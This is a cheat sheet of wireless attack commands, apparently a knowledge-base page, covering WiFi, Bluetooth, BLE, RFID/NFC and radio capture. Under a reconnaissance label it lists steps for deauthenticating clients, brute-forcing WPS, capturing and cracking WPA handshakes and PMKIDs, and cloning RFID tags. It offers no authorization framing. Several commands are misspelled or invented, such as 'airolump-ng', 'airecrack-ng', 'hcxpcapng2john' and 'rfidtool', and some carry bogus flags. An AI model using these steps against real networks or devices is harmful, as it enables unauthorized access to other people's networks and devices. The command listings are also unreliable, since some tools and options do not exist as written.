Wireless Network Security Reconnaissance Knowledge Base

Wireless network security reconnaissance involves identifying, analyzing, and assessing wireless communication protocols and networks for vulnerabilities. This includes WiFi, Bluetooth, RFID/NFC, Zigbee, Z-Wave, LoRaWAN, and other wireless technologies.

1. WiFi Network Reconnaissance

Network Discovery

# Scan for WiFi networks
airodump-ng wlan0

# Scan specific channel
airodump-ng -c 6 --bssid <BSSID> wlan0

# Scan all channels
wash -i wlan0 -C

Target Identification

# Identify target network
airolump-ng wlan0

# Get network information
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0

Client Identification

# Identify connected clients
airodump-ng -c <channel> --bssid <BSSID> wlan0

# Deauthenticate clients to capture handshakes
aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0

2. WiFi Encryption Analysis

Encryption Type Detection

# Check encryption type
airodump-ng -c <channel> wlan0 | grep "CH\s*"

# WEP detection (vulnerable)
if [ "$(airodump-ng -c <channel> wlan0 | grep WEP)" ]; then echo "WEP detected - vulnerable!"; fi

# WPA/WPA2 detection
airodump-ng -c <channel> wlan0 | grep -E "WPA|WPA2"

# Open network detection
airodump-ng -c <channel> wlan0 | grep "OPEN"

Vulnerability Assessment

# WPS vulnerability check
wash -i wlan0 -C
reaver -i wlan0 -b <BSSID> -vv
bully <BSSID> -c <channel> wlan0

# PMKID attack (if WPA2)
hcxpcapngtool -o hash.hc22000 capture.cap --pmkid

# WPA handshake capture
aireplay-ng -0 10 -a <BSSID> wlan0

Key Cracking

# WEP cracking
airecrack-ng -b <BSSID> capture.cap

# WPA/WPA2 cracking with wordlist
airecrack-ng -w wordlist.txt -b <BSSID> capture.cap

# Use hashcat for GPU acceleration
hcxpcapng2john capture.hc22000 > hash.txt
hashcat -m 22000 hash.txt wordlist.txt

3. Bluetooth Reconnaissance

Device Discovery

# Scan for Bluetooth devices
hcitool scan

# Extended scan with more details
bluetoothctl scan on
bluetoothctl devices

Service Discovery

# Discover services on device
sdptools browse <device_address>

# RFCOMM scan
rfcomm -a <device_address> list

Connection Attempts

# Connect to device
bluetoothctl connect <device_address>

# Trust and pair
bluetoothctl trust <device_address>
bluetoothctl pair <device_address>

4. BLE (Bluetooth Low Energy) Analysis

BLE Device Discovery

# Scan for BLE devices
hcitool lescan

# Scan with more details
bluetoothctl scan on

BLE Service Discovery

# Discover services
gatttool -b <device_address> -p /dev/null connect

# List services
gatttool -b <device_address> -p /dev/null primary

# List characteristics
gatttool -b <device_address> -p /dev/null characteristics

BLE Packet Capture

# Capture BLE packets
btmon

# Filter BLE traffic
tshark -i bluetooth0 -f "btcommon.address == <device_address>"

5. RFID and NFC Reconnaissance

RFID Analysis

# Use RFID reader
rfidtool --read

# Clone RFID tag (if vulnerable)
rfidtool --clone --source <source_uid> --target <target_uid>

# Proxmark3 commands
proxmark3> hf search
proxmark3> hf mfdump

NFC Analysis

# NFC tag reading

nfc-poll

# Mifare Classic analysis
mfoc -O mf_dump.bin

# NFC URL extraction
nfc-mfultralight rdump nfc_dump.bin
strings nfc_dump.bin

6. Signal Analysis and Capture

Packet Capture

# WiFi packet capture
tcpdump -i wlan0 -n -w capture.pcap

# Filter for specific protocol
tcpdump -i wlan0 -n port 53 -w dns_capture.pcap

# Airplane mode packet capture
tshark -i wlan0 -w wireless_capture.pcap

Spectrum Analysis

# Use SDR (Software Defined Radio)
rtl_sdr -f 2412e6 -s 2e6 -g 20 -b 8 -F 0 -l 0 -E deinterleave -E dcblock -E normalized output.raw

# Analyze with gnuradio

Signal Strength Analysis

# Monitor signal strength
watch -n 1 "iwconfig wlan0 | grep Signal"

# Create signal heatmap
